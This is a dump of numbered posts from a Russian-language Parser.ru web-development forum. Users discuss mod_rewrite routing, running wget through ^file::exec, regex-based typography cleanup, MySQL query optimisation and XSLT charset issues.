"9197","то что надо использовать ^file::exec -- это я сразу понял -- вопрос _как_ его использовать я могу только предполагать, т.к. нет вообще опыта в cgi-бишной области...\
--\
Как я догадываюсь надо делать что-то типа ^file::exec[my_wget.cgi], а в my_wget.cgi я уже буду писать: \
wget http://www.server_name.com/folder/file.p\
-- так или нет ?\
(просто пока я буду догадываться как эжто сделать -- я потеряю кучу времени, а это не разумно -- ведь в этом деле достаточно \"пинка\" в нужную сторону)\
"
"9199","Наверно ты супер везучий -- я еще не видел ни одной версии cuteftp которая бы проработала нормально хотя бы месяц(как правило прога через какое-то время начинает глючить, либо вообще перестает полностью запускаться).. И каждый раз, когда я ставил cuteftp я надеялся, что новая версия стала нормально работоспособной (ну не верится мне , что все \"лечилки от жадности\" портили прогу (начиная от второй версии (без pro)))."
"9202","[code]\
RewriteEngine on\
RewriteRule (gif|jpg|js|css|exe|zip|rar|pdf|doc|xls|ppt|swf|ipx|txt|xslt|xsl|tif|eps|tiff|ico|ent|chm|cfm|gz)$ - [L]\
RewriteRule /_ - [L]\
RewriteRule (.*)  /_doc.html?request=$1 [L,QSA]\
[/code]\
"
"9203","вы правильно поняли"
"9204","Кстати говоря, там не\
$form:photo.save , а ^form:photo.save."
"9206","ОписАлся однако ..."
"9207","как можно от этого застраховаться? Можно, конечно это сделать с помощью JS, но иногда его отрубают...\
\
У меня появилась только одна догадка -- запускать процессинг формы только тогда, когда будет загружена какая-то часть \"принимающего\" документа (т.е. когда кнопки Submit уже не будет видно). Правильно ли это или есть какие-то другие способы получше?"
"9208","бывают тяжёлые случаи, которые трудно написать хорошо.\
скажем, если вы прописываете ссылки вручную, то понятно, что id ссылок заранее неизвестны, и выдать один sql на всех вроде как нельзя. но можно :)\
\
[code]\
@auto[]\
$links[^table::create{id}]\
\
@link[id]\
^links.append{$id}<link id=\"$id\"/>\
\
@main[]\
...^link[1]...^link[2]...\
\
@postprocess[body]\
#fixup ссылок\
$urls[^hash::sql{\
    select id, url from ... \
    where id in (^links.menu{$links.id}[,])\
}]\
$body.найти <link ...> и заменить его на $titles.$найденный_id.url\
[/code]\
\
похожий подход можно использовать для кэширования страниц со случайными элементами, скажем, банерами."
"9209","друзья, храните ваши проекты в CVS.\
на подавляющем большинстве unix машин уже установлен cvs клиент. обновление будет заключаться в запуске cvs.sh, который скажет [code]cvs update[/code]\
\
основная проблема тут: cvs сервер. где именно он будет.\
один из вариантов: на вашей локальной машине, удалённый сервер будет соединяться с ней, и забирать обновление."
"9210","sumo, спасибо: правильный пример.\
что до объяснения: в auto всё доступно, кроме form.\
\
там у пользователя есть возможность переопределить \
[code]\
$request:charset[во что-то, исходя из чего-то]\
[/code]\
\
и только потом будет ясно, как перекодировать $form:поля.\
\
можно было бы, конечно, перекодировать на ходу, при каждом обращении к полю, но было бы медленно."
"9211","lion, у вас, наверное, linux, а у него есть известная ошибка.\
если интересно, поищите, у пользователей python были такие проблемы, и они их героически решали… я видел такое решение проблемы argv[0] на linux:\
\
[code]\
#!/usr/bin/env /path/to/parser\
код на parser\
[/code]\
\
при этом env заполняет правильный argv[0], и parser знает, откуда запущен = может найти свой auto.p"
"9212","однако всё равно есть проблема DOCUMENT ROOT.\
внимание, вопрос: где parser'у считать, что находится корень веб пространства при запуске из консоли?\
\
мне не понравилась идея делать какой-то там ещё ключ, и была реализована [и документирована] другая идея: корнем веб-пространства считается… текущий каталог.\
\
в простых скриптах не очень важно, где он, этот DOCUMENT_ROOT, они могут быть самодостаточны. \
\
однако в общем виде, рекомендуемый способ запуска скрипта на parser таков:\
[code]\
cd /path/to/htdocs\
/path/to/parser ./exec/task.html\
[/code]"
"9213","просто сравнить запощеные данные с последней строчкой, записанной в файл ... по крайней мере на втором парсере я делал именно так и все работало. В базе естественно через LAST_INSERT."
"9215","Я тоже посидел, поэксперементирывал и вот, что у меня вышло...\
[code]\
 RewriteCond %{REQUEST_URI} ^/index.html\
 RewriteRule .* - [L]\
\
 RewriteRule .* /index.html [L]\
[/code]\
\
Большое всем спасибо за помощь."
"9216","Ранее обсуждалась проблема передачи любого запроса на index.html, еоторый бы потом его обрабатывал (http://parser.ru/forum/?id=9128)\
\
Это получилось, но теперь возникла другая проблема, index.html обрабатывает запрос, и если это файл с расширение html, то открывается страница (которая находится вне веб пространства) и код, находящийся в странице выполняется с помощью ^process{...}. \
\
Но при таком раскладе этот файл не видет собственного auto.p, как можно это исправить?\
\
Может у кого-нибудь есть опыт по созданию подобных скриптов? \
\
Поделитесь пожалуйста идеями..."
"9217","и что, гифы тоже? а оно вам надо?\
\
в любом случае, то же, но короче и точнее:\
[code]\
RewriteRule ^/index.html$ - [L]\
RewriteRule .* /index.html [L,QSA]\
[/code]\
\
обратите внимание на $ в первой строке и QSA во второй"
"9218","Какой auto.p имеется ввиду? \
Если я правильно понял тот, который лежит в директории с файлом вне веб-пространства. Тогда кто мешает отпроцессить сначала этот auto.p, а потом сам html-файл, или просто в html-файле написать ^use[/путь/к/auto.p] ..."
"9219","взаимосвязь документов прописывается в таблице(тут еще возник плюс с возможностью установления прав на документы(а в готовой странице -- ссылки)) и для создания ссылок теперь достаточно сделать запрос на вывод всех взаимосвязанных документов с достуными для конкретного пользователя правами.\
Надеюсь, что этот варинт более-менее правильный... а способ который ты(PAF) описал -- супер -- это отличный пример, когда надо получить рельтат в не самом простом случае."
"9220","но если использывать ^use[], то auto.p, кото рые находятся на уровень выше не будут использован :("
"9221","Ты фактически создаешь вне корня веб-пространства классическую структуру. Кто мешает это обычным методом сделать. Да и зачем систему реврайтами грузить ..."
"9222","а если мне надо проверить пользователя, т.е. имеет ли он доступ или нет...?"
"9223","В корневом auto.p:\
[code]\
@main[]\
## Проверяем того, кто к нам пришел\
## как конкретно неважно\
 ^check_user[]\
## В зависмости от ответа шлем куда надо\
 ^if(def $valid_user){\
 ^body[]\
 }{\
 <h1>Вы не тот, кто нам нужен.</h1>\
## Или выдаем форму с запросом пароля\
 }\
\
[/code]"
"9224","А если это zip или еще что? Как тогда?"
"9225","Если не хочется всю обработку в корневом индексе делать, то наделай файлов zip.html, rar.html с необходимыми функциями, и просто редиректь на них [через тотже реврайт рул]"
"9226","я уже неоднократно писал, что нестандартная авторизация к .zip и прочим потенциально большим файлам неправильно.\
и приводил пример с удобным использованием стандартной.\
ключевое слово: mod_mysqlauth"
"9227","как прописать код, который принимал бы из формы все сочетания [b]\\w-\\w[/b] и обрамлял их тэгом [b]<NOBR>[/b]?\
\
Например, находил бы\
[code]как-то[/code]\
и заменял на\
[code]<NOBR>как-то</NOBR>[/code]\
???\
\
при попытке использовать код\
[code]$text[^text.match[[ёЁа-яА-Яa-zA-Z_]-[ёЁа-яА-Яa-zA-Z_]][g]{<NOBR>-</NOBR>}][/code]\
\
или\
[code]$text[^text.match[\\w-\\w][g]{<NOBR>-</NOBR>}][/code]\
выдает\
ка<NOBR>-</NOBR>о\
\
следовательно, сочетание [b]\\w-\\w[/b] и [b][ёЁа-яА-Яa-zA-Z_]-[ёЁа-яА-Яa-zA-Z_][/b] воспринимаются им как \"последний символ слова, дефис, первый символ слова\"\
\
Объясните чайнику..."
"9228","попробуй это:\
[code]\
$text[^text.match[([ёЁа-яА-Яa-zA-Z_]+-[ёЁа-яА-Яa-zA-Z_]+)][g]{<NOBR>$match.1</NOBR>}]\
[/code]"
"9230","Еще одна проблема: неразрывный пробел\
\
в Windows можно ставить неразрывный пробел в тексте через Alt+0160. Его можно сохранять в файле и печатать в форму, но проходя через буфер обмена, он становится обычным пробелом (хотя длинное тире таким же и остается (Alt+0151), равно как и фигурные кавычки — елочки и лапки).\
\
Можно, конечно впечатывать его в форме уже после copy/paste, но если текст очень большой, то слишком много рутины.\
\
Можно ли как-то решить эту проблему или придется заменять символ на &nbsp; только в Word'e?"
"9231","там да. обычно в windows всё в порядке, вот в окне notepad набрал, Copy, сюда Paste:\
\
a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b a b "
"9232","Если и можно обращаться к переменным другого метода класса из некоего метода, то это дурной тон и стоит подумать ещё раз о проектировании. Совет - создавай экземпляр класса E в конструкторе, и пользуйся им во всех методах класса."
"9233","> Другое дело, что можно в зависимости от USER_AGENT'а выдавать поисковику что-то другое, но это дело вкуса ...\
\
Яндексовский модератор такое увидит и будет долго бить тапком..."
"9234","самому тупому, не знающему английского языка, вкратце рассказать о его действии?\
\
P.S. не нашел я примера по ключевому слову \"mod_mysqlauth\""
"9235","тоже все файлы будут редиректится на /index.html?"
"9236","Да не вставляю я его в FAR, нафиг мне вставлять его туда, если мне надо отчебучить текст по правилам типографии?.. Максимум — Lynx, но его ж надо запустить...\
\
Вставка идет из RTF (Word), где находится уже отредактированный текст, в форму IE6 (нечто вроде домашнего «типографа»). А без домашнего «типографа» — никак, потому, как интернет халявный, декларируемая скорость — 36,000 (а реальная — около 9,600), поэтому официальной версией — никак... а текстов — около 200 или 300, и все надо отформатить...\
\
Может все дело в обработчике, или IE глючит?\
Код в обработчике выглядит так:\
\
[code]\
$text[^text.match[ —][g]{&amp^;nbsp^;&amp^;#151^;}]\
[/code]\
\
в квадратных скобках символы набраны так же — [b]Alt+0160[/b],[b]Alt+0151[/b]\
Потом, если производить поиск в файле, он находит символ [b]0160[/b] и отличает его от обычного пробела, но при выходе текста в IE поиск этот символ не находит ни в какую...\
самое обидное, что, когда я только начинал делать refiner, он все читал нормально. Мога быть глюк IE?\
\
и еще один момент — как быть с вещами типа 233-6771-8455? Здесь код про NOBR работает коряво... (также коряво, как и в Лебедевском Типографе — там сочетание и т. д. выводится как и&nbsp;т. д., хотя должно быть и&nbsp;т.&nbsp;д.)...\
\
ЗЫ: пробовал в Опере — никак..."
"9238","Пишу в index.html:\
^load_my_file[]\
\
пишу в auto.p:\
@load_my_file[]\
$myfile[^file::exec[wget;;http://server_name.com/folder/file.txt]]\
\
рельтат -- тишина и пустота: ни ошибок, ни загруженного файла в директорию, где лежит index.html, ничего. Я как бы понимаю, что ничего не понимаю.\
Может я неправильно все делаю?\
Может есть способы проверить, исполнилась ли команда ?\
(я всю ночь просидел, эксперементируюя -- и результат до сих пор на 0 ) \
F1 !\
\
"
"9239","и, разумеется, в gb есть proc и опечаток[русские/английские буквы 'o' 'c'] нет?\
\
такая схема вызова проста и если бы не работала, давно бы все заметили.\
\
сделайте в @right вызов ^gb[], вам должны сказать, что вызывать не будем, поскольку gb не junction, а вовсе даже class gbook, т.е., что переменная gb есть."
"9240","Почему, когда я пишу ^file:cgi[/cgi-bin/my_script.cgi], Парсер ищет каталог cgi-bin от корня web-пространства? У меня каталоги с документами (www) и скриптами (cgi-bin) лежат рядом. А если написать ^file:cgi[/../cgi-bin/my_script.cgi], то всё работает, но это не правильно."
"9241","Делал я урок parser'а про базу данных.Вроде бы все сделал правильно, но когда загружается /news/ , то пишет такое:\
$SQL: drivers must be defined\
\
В чем ошибка?"
"9242","это «неудобно».\
пожалуйства, сообщите файл и номер строки, где вы объяснили parser'у, что /cgi-bin/ в [b]вашем[/b] случае лежит в /../cgi-bin?\
\
в моём случае он лежит в /../cgi.\
кстати, у Владимира Пупкина: в /../vcgi"
"9243","Я о том, что /cgi-bin/ лежит вне web-пространства, а ^file::cgi предназначен для выполнения cgi-скриптов. Не значит ли это, что он должен их искать там, где они предполагаются..."
"9244","Вот такой строчкой:\
[code]\
wget -N http://lenta.ru/r/EX/tabdelimited.html --header='Accept-Charset: koi8-r' -P /path/to/site/[/code]\
у меня сервер по крону затаскивает новости с Ленты.ру. Правда не из парсера, а из шелла но разница не велика.\
Надеюсь выводы сделаешь сам ... :) "
"9245","По-моему, так русским языком сказано - физические пути относительно корня.\
А если не очень понятно, советую обратиться к мануалу по апачу и выяснить, что такое ScriptAlias и чем он от физического пути отличается."
"9246","Это я всё понимаю. Меня интересует есть ли более красивый способ обращаться к скриптам, если они лежат вне веб-пространства?"
"9247","Проверь лежат ли в нужном месте драйвера, ( правильно ли указаны пути к ним ).\
Сейчас parser.cgi не может найти драйвера для подключения к БД."
"9248","-попробуй почитать FAQ: http://parser.ru/faq/\
-пробуй скачать из http://parser.ru/download/utils/ _test.html и запустить у себя - тоже может узнаешь кое что интересное.\
-описывай конфигурацию системы\
-описывай что именно ты сделал\
"
"9249","вызываю \
$myfile[^file::exec[wget -N http://server.com/folder/file.txt]]\
и ничего не происходит.\
хоть вешайся -- сервер как партизан молчит, логи молчат...\
"
"9250","По клаве ?\
По себе ?\
По соседу ?\
По секретарше ?\
По другому тапку ?\
По сайту ?\
??????"
"9251","Мозг человеку для чего?\
[code]\
^file::exec[wget;;-N;http://lenta.ru/r/EX/tabdelimited.html;-P;/path/to/site/][/code]\
\
Обрати внимание на /path/to/site/ ...\
Вполне может быть понадобится знать путь к wget на сервере ... Но это ты уже сам ..."
"9252","можно сделать так -- есть сервер, есть разработчик. При обновлении разработчик запрашивает страницу с сервера, сервер определяет ip разработчика, и соединяется с его CVS-сервером. Так что постоянный ip даже и не нужен. Логично? ;-)"
"9254","> Мозг человеку для чего? \
естественно думать и в данном случае не придумывать \"а как сделать то и то.. ?\"\
А что мне еще думать, если в доке написано: \
^file::exec[имя_файла;env_hash;аргументы] \
в моем понятие команда не может быть именем файла, а оказывается, что мое понимаение -- неправильно. Надо же все же учитывать то, чт о уровень знаний у всех разный -- я не программист и парсер -- это для меня выход из всех(почти) необходимых в работе ситуаций.\
Ладно, дальше.\
Конструкцию которую ты описал я пробовал NNN раз(как любой незнающий-неразбирающийся я тупо перепробовал все способы запуска скрипта, конструкции скрипта и т.п.) -- рузультат нулевой. В доке(ссылку мне ты давал) я не узрел жесткого правила обязательного указания пути для сохранения файла.\
Вообще у меня складывается впечатление, что wget игнорируется(может парсером, может сервером) -- возможность проверить я тоже не имею (точней не знаю). А когда в логах пусто (кроме записи о запросе файла со скриптом) -- это для меня совсем не понятно.\
Вопрос для меня не решен.\
И неужели спасение утопающих - всегда дело самих утопающих. "
"9256","А если я за проксей? Или за NAT? Со мной просто не удастся связаться..."
"9258","Иван, вы читаете документацию поверхностно, в той же статье специально подробно разобраны аргументы:\
\
http://parser.ru/docs/lang/filecgiexec.htm\
[quote]\
Кроме того, вызываемой программе можно передать ряд аргументов, перечислив их через точку с запятой после хеша переменных окружения: \
^file::exec[script.pl;;длина;ширина] \
[/quote]\
\
куда деваются ошибки выполнения внешних программ тоже расписано подробнейшим образом:\
[quote]\
Объект, созданный этими конструкторами, имеет дополнительные поля: \
status - информация о статусе завершении программы (обычно 0 - программа завершилась успешно, не 0 - с ошибкой) \
[/quote]\
\
работа с путями по parser везде одинакова и тоже подробно описана:\
http://parser.ru/docs/lang/app1.htm\
\
\
что вы сделали, это создали объект класса file, и никуда ничего не напечатали. скорее всего, ваша попытка запуска wget выдала ошибку. напечатайте $myfile.status, $myfile.stderr, $myfile.text, посмотрите, что было.\
\
если вы не положите wget в тот каталог, откуда запускаете, получите ненулевой .status.\
\
если запустится правильно, но у wget будут какие-то проблемы, получите объяснения в .stderr.\
\
диагноз: нельзя экономить на чтении документации, думая, что другие сделают всё за вас."
"9259","или вам кажется, что вам мало дали ключевых слов?\
\
Иван, вы меня удивляете нежеланием самостоятельной деятельности.\
вы такой занятой, что вам некогда учиться?"
"9260","По длине и удобочтаемости кода второй вариант лучше!\
А вот по производительности я честно говоря не знаю что быстрее будет работать SQL или Parser?\
Что разработчики Parser могут сказать на этот счёт? Или это проверяется только экспериментально?"
"9261","они могут лежать где угодно. и вы parser ничего про это расположение не сказали, и он, разумеется, не телепат.\
\
многие провайдеры ставят всякие счетчики вообще в общем для всех сайтов месте, а в ваш виртуальный /cgi-bin они попадают хитрой директивой apache.\
\
давайте подумаем вместе: зачем запускать внешнюю программу [ещё один процесс: расход памяти, времени CPU], чтобы прибавить к одному числу другое? незачем.\
\
диагноз: для простых вещей запуск внешних скриптов [b]не нужен и вреден[/b].\
и его нужно использовать в непростых случаях. скажем, для общения с внешним миром по разным протоколам, в частности, с какими-то нестандартными базами клиента, или для сложных вычислений вроде качественного resize картинок, или чего угодно другого сложного.\
\
отсюда вопрос: где стоит расположить такие скрипты, которые используются изнутри ваших страниц, [b]и использование их посторонними людьми нежелательно и опасно[/b]?\
сюда ответ: правильно, [b]подальше[/b] от места, где пользователь может их сам запустить, без вашего надзора за параметрами.\
рекомендуемое место: [code]/../exec/тут[/code]\
\
что до wget: его надо запускать по file::exec, поскольку он никакой шапки не выдаёт, и расположить его тоже подальше от cgi-bin, поскольку это уж заведомо не cgi."
"9262","Могу ли я средствами парсера создать новый файл и записать в него произвольное содержимое? соответствующих методов, к сожалению, не вижу....\
\
(создать новый файл я могу просто загрузив файл конструктором\
^file::load[формат;имя_файла]\
и сохранив его методом файл.save[формат;имя_файла] под другим именем, но как изменить его содержимое?)"
"9263","правильный подход: в базе организовать уникальность этого столбца, и сделать попытку insert. ошибку отловить, как Миша советует тут: http://parser.ru/forum/?id=9074"
"9264","бинарный: нет. \
\
работа с байтами бинарных файлов: не специфика parser, и если очень нужно, используйте внешние скрипты, см. ^file::exec."
"9265","Мухи отдельно - котлеты отдельно.\
И он мне более понятен - вижу, что именно вычислял. А если понадобится изменить по ходу вычисления некую константу (a + b + someConstant) - еще раз считать?\
В данном примере может оказаться быстрее и второй вариант (простая арифметика, простой запрос), но никто не обещает быстроты при, допустим, сложных join'ах..."
"9266","С буквами путаницы нет :)\
\
Если вызовы конструкторов переношу в right, то все ок.\
\
Проверял с вызовом ^gb[].\
\
Когда вызовы конструкторов в load[], то пишет\
(void) not a method or junction, can not call it,\
т.е. что переменная не определена\
\
Когда вызовы в right,\
то \
(gbook) not a method or junction, can not call it\
т.е. определена.\
\
Мистика ?"
"9267","Прошу прощения.\
Можете ударить меня ногой в живот, я расплакался и извинился.\
\
Вот ведь странно, когда переносишь в right, то работает, даже с русскими буквами ?!\
\
Вероятно была проблема в буквах, но, странно, у меня заработало все ок и в конструкторе ...\
\
Точно мистика."
"9268","Если вызов самого класса page - статический, то все методы создаваемых екземпляров gb в конструкторе работают и в других переопределенных методах.\
\
Если динамический - то не работают.\
\
В связи с этим вопрос : почему ?"
"9269",">или вам кажется, что вам мало дали ключевых слов?\
да, ты прав...\
\
>Иван, вы меня удивляете нежеланием самостоятельной деятельности.\
>вы такой занятой, что вам некогда учиться?\
увы, у всех свои \"роды\" деятельности -- все чем я тут интересуюсь не касается напрямую моей работы -- а на работе мне платят не за выяснение личных вопросов, а за результат порученной мне работы -- вот и что бы столкнувшись с несколькими вопросами не тратить время на конечно неправильные (относительно задачи) я и спрашиваю у вас всех.  Учиться конечно никогда не поздно, но приходя домой с работы я сажусь за комп и до 4 утра \"учусь на швабрах\"....и все равно не хватает времени(да простят меня жена и сын).\
"
"9270","взял я доку по парсеру, полистал - не могу найти, как создать директории и как объявлять глобальные переменные?"
"9273","Кто-нибудь может подсказать, почему после обработки Parser'ом из текста исчезет атрибут class? Есть ли вообще возможноность использовать совместно Parser и CSS?"
"9274","Стремление к минимализму количества запросов не всегда хорошо, и то, что этот пример появился - очередное тому подтверждение.\
\
Напиши перед запросом explain и посмотри... Увидишь что-то типа \"type: ALL\" и \"Extra: Using temporary\"\
\
О чем это говорит?\
Дока MySQL:\
[quot]\
[b]ALL[/b]\
A full table scan will be done for each combination of rows from the previous tables. This is normally not good if the table is the first table not marked const, and usually very bad in all other cases. You normally can avoid ALL by adding more indexes, so that the row can be retrieved based on constant values or column values from earlier tables.\
\
...\
\
[b]Using temporary[/b]\
To resolve the query MySQL will need to create a temporary table to hold the result. This typically happens if you do an ORDER BY on a different column set than you did a GROUP BY on.\
[/quot]\
\
для того, чтобы вычесть из одного числа другое ты предлагаешь sql серверу полностью просканировать твои данные в форуме, создать из этого временную таблицу... ну... круто... :)\
\
если ты сделаешь X запросов (X - кол-во форумов) вида\
[code]\
SELECT \
Count(tab1.id2) AS CountALL,\
Sum(if(tab1.x, null, 1)) AS CountZero,\
Count(tab1.id2) - Sum(if(tab1.x, null, 1)) AS XXXXX\
FROM tab1\
WHERE tab1.id1 = 'xID';\
[/code]\
то работать будет уже быстрее (хотя при этом все равно будет полное сканирование таблицы)... не будет создаваться временная таблица и ты получишь пирожок от админов твоего SQL что перестанешь его \"класть\" :)\
\
переделываем далее:\
[code]\
SELECT \
Count(*) AS CountALL\
FROM tab1\
WHERE tab1.id1 = 'xID';\
[/code]\
\
и уже не имеем полного сканирования таблиц (All -> ref), начинают использоваться индексы и запрос делается моментально...\
\
Т.е. я бы переделал приведенный пример и парсером-бы сделал несколько простеньких запросов...\
А вообще, для решения подобного рода задач рекомендуется хранить статистику в отдельной табличке, и об этом пишут в той-же доке по MySQL.\
\
Ты сам написал, что \" SQL специально заточен под поиск и отбор данных!\" - это верно, но то, что ты пытаешься заставить его делать - это не поиск и отбор...\
\
опять его дока:\
[quot]\
If you very often need to calculate things based on information from a lot of rows (like counts of things), it's probably much better to introduce a new table and update the counter in real time. An update of type UPDATE table set count=count+1 where index_column=constant is very fast! This is really important when you use databases like MySQL that only have table locking (multiple readers / single writers). This will also give better performance with most databases, as the row locking manager in this case will have less to do.\
[/quot]\
\
[quot]\
If you need to collect statistics from big log tables, use summary tables instead of scanning the whole table. Maintaining the summaries should be much faster than trying to do statistics 'live'. It's much faster to regenerate new summary tables from the logs when things change (depending on business decisions) than to have to change the running application!\
[/quot]\
\
ну и т.д.\
а про твой вопрос: ответ - нельзя\
Почему? Читай доку, там все есть:\
[quot]\
A SELECT expression may be given an alias using AS. The alias is used as the expression's column name and can be used with ORDER BY or HAVING clauses.\
[/quot]"
"9275","Парсер не занимается обработкой html. У меня они не исчезают."
"9276","Приводи пример... Но чувствую, опять дело в непрефиксиных символах ';' :)"
"9277","Пишу <table class=... После загрузки страницы в броузер Parser вообще все свои значения подставляет.. и что там было и чего там не было. А class исчезает... Вот."
"9278","В auto.p пишу <table class=...  После загрузки в броузер Парсер подставляет свои атрибуты, а этот вообще исчезает."
"9282","[quot]Нет, нельзя. RTFM[/quot]\
\
Было предложено почитать доку. там все это есть. мой ответ - куски доки, и далеко не все.\
Про explain писали не раз. Про сбор статистики - тоже (в этом форуме). Т.е. обучаемости не видно."
"9283","Я все о [b]ТИПОГРАФ[/b]е...\
\
Я попытался сделать свой обработчик, код примерно такой (он еще недоработан)\
\
[code]@text_refine[text]\
$text[^text.match[  *][g]{ }]\
$text[^text.match[\\s\\n][g]{\
}]\
$text[^text.match[&][g]{&amp^;amp^;}]\
$text[^text.match[ ][g]{&amp^;nbsp^;}]\
$text[^text.match[ —][g]{&amp^;nbsp^;&amp^;#151^;}]\
$text[^text.match[--][g]{&amp^;#151^;}]\
$text[^text.match[ ][g]{&amp^;nbsp^;}]\
$text[^text.match[<][g]{&amp^;lt^;}]\
$text[^text.match[>][g]{&amp^;gt^;}]\
$text[^text.match[«][g]{&amp^;#0171^;}]\
$text[^text.match[»][g]{&amp^;#0187^;}]\
$text[^text.match[\\“][g]{&amp^;#0147^;}]\
$text[^text.match[\\”][g]{&amp^;#0148^;}]\
\
# расстановка параграфов\
$text[^text.match[\\A][g]{&lt^;P&gt^;${match.1}}]\
$text[^text.match[\\n][g]{&lt^;/P&gt^;\
${match.1}&lt^;P&gt^;}]\
$text[^text.match[\\z][g]{${match.1}&lt^;/P&gt^;}]\
\
$text[^text.match[ '][g]{ &amp^;#145^;}]\
$text[^text.match['][g]{&amp^;#146^;}]\
$text[^text.match[([ёЁа-яА-Яa-zA-Z_]+-[ёЁа-яА-Яa-zA-Z_]+)][g]{&lt^;NOBR&gt^;${match.1}&lt^;/NOBR&gt^;}]\
\
# NBSP в сочетаниях т. д., т. п., ж. д., и. о., ... \
$text[^text.match[((\\s|\\A)[Тт|Ии|Жж]\\.) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
\
# союзы и частицы, инициалы, сокращение \"тов.\"\
$text[^text.match[((\\s|\\A)[Оо](|б|т)) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Вв]) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Тт]ов\\.) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[А-Я]\\.) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
# инициалы Дж. и Ph.\
$text[^text.match[((\\s|\\A)[A-ZА-Я]+[a-zа-я]\\.) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Сс](|о)) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Ии]) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Ии]ли) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Ии]з) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Нн](а|ад)) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Пп](од|еред)) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Нн](и|е)) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Зз]а) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A)[Кк](|о)) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}]\
\
# сокращение г. (год)\
$text[^text.match[ ([г]\\.)][g]{&amp^;nbsp^;${match.1}}]\
\
# выдача текста обратно\
$tttexttt[$text][/code]\
\
Но все это слишком громоздко получается...\
Расстановка параграфов — аж три строки...\
\
И еще я так и не смог разобраться с:\
1. дефисными сочетаниями типа [b]222-333-222[/b]\
2. сочетаниями типа [b]\"ни на\"[/b] — хотелось применить такой код:\
[code]$text[^text.match[((\\s|\\A)[Нн](и|е|а|ад)) ][g]{${match.1}&amp^;nbsp^;${match.postmatch}}][/code]\
\
Но вся загвоздка в том, что в результате выдает:\
\
[code]\
ни&nbsp;на фиг ты мне не&nbsp;нужен, ни&nsp;куда еще...\
[/code]\
\
потому как первый результат формата убирает пробел и распознавать надо не только начало всего текста [b](\\A)[/b] или слова [b](\\s)[/b], но и точку с запятой (как конец [b]&nbsp;[/b])...\
\
попытки прописать в коде [b](\\A|\\s|;)[/b] приводят к ошибке 500...\
пытался прописать как [b]^;[/b] и как [b]\\;[/b] — результат тот же или еще хуже...\
\
Объясните чайнику...\
\
ЗЫ: находить надо именно '[b];[/b]' а не что-нить другое... потому, как сочетания с [b]&[/b] бывают..."
"9284","Хорощо :) а как переменную объявить локальной. я так посмотрел, кажется там переменные никак особенно не объявляются и все локальные...я вообще вчера начал на парсере писать, так что...сами понимаете. в пхп например перед глобальной пишеш global и всё ок."
"9286","Объявить переменную в корневом auto.p тогда она будет самой наиглобальной, и будет доступна из любого вложения..."
"9287","Парсер сам ничего не убирает, и уж тем более не подставляет.\
Самый верный способ определить что не так, показать кусок кода, иначе собственно и вопрос бессмысленный. Если не хотите показывать код, проверьте парность всех кавычек и <> скобок, а так же все ли знаки типа ; и $ заескепены знаком ^."
"9288","теперича берет и сочетания типа 222-333-222...\
\
[code]$text[^text.match[(\\s|\\A)([ёа-яa-z0-9]+(-[ёа-яa-z0-9-]+))][gi]{${match.1}&lt^;NOBR&gt^;${match.2}&lt^;/NOBR&gt^;}][/code]"
"9289","Нобрить имеет смысл только слова типа \"как-то\", \"кто-то\", \"что-либо\" и и.д.\
А вот типа \"генерал-лейтенант\" - уже особого смысла нет - они слишком длинные.\
И вообще имеет смысл следить за длинной - вдруг это огромное что-то 222-222-222-...(еще сто раз)...-222 - такое и в 1600 пикселей не влезет ;-)"
"9290","Общий рецепт - не стоит, но если очень надо, то с большой осторожностью. А в дополнение к ответу Eugene Spearance - обращение к таким переменным осуществляется так: [i]$MAIN:variable[/i]"
"9291","Пардон за идиотский вопрос, но я никак не могу найти как выполнить объединие двух текстовых строк?\
\
$date_now[^date::now[]]\
хочу получить строку $date_now.year + $date_now.month  (т.е. 200211)\
"
"9292","${date_now.year}${date_now.month}"
"9295","Господа, я понимаю, что это RTFM в чистом виде, но какой-то он не очень очевидный, видимо :-)\
\
1. В БД хранятся данные, которые потом генерятся на сайт в виде XML.\
2. Там же хранятся XSL-шаблоны, которые берут XML и трансформят их. На сайт попадает уже результат применения шаблонов. \
\
Проблема: Если в XSL есть русские буквы трансформ выдает ошибку \
Input is not proper UTF-8, indicate encoding.\
Собственно, я вполне себе знаю, что там не UTF-8, потому что в auto.p у меня английским языком написано:\
\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
Вопрос, в общем, понятен :-) Как хранить данные шаблонов в нужной XML-трансформеру кодировке, в то же время, данные храня в нужном мне 1251. Или как их -кодировки - перефигачивать при выборке. Или еще что-нибудь каким-либо образом."
"9296","если у тебя в XSL кодировка UTF-8 то там должна быть строчка\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>[/code]\
парсер должен автоматически преобразовать кодировку в нужний вид при выдаче пользователю. Я проверил, у меня работает, т.е. я могу иметь файлы XSL в разной кодировке, главное чтобы она соответствовала той которая написана в указанной строчке.\
\
В конф. auto.p пишется кодировка выдаваемая пользователю ну и соответственно при выводе все преобразуется именно в неё.\
\
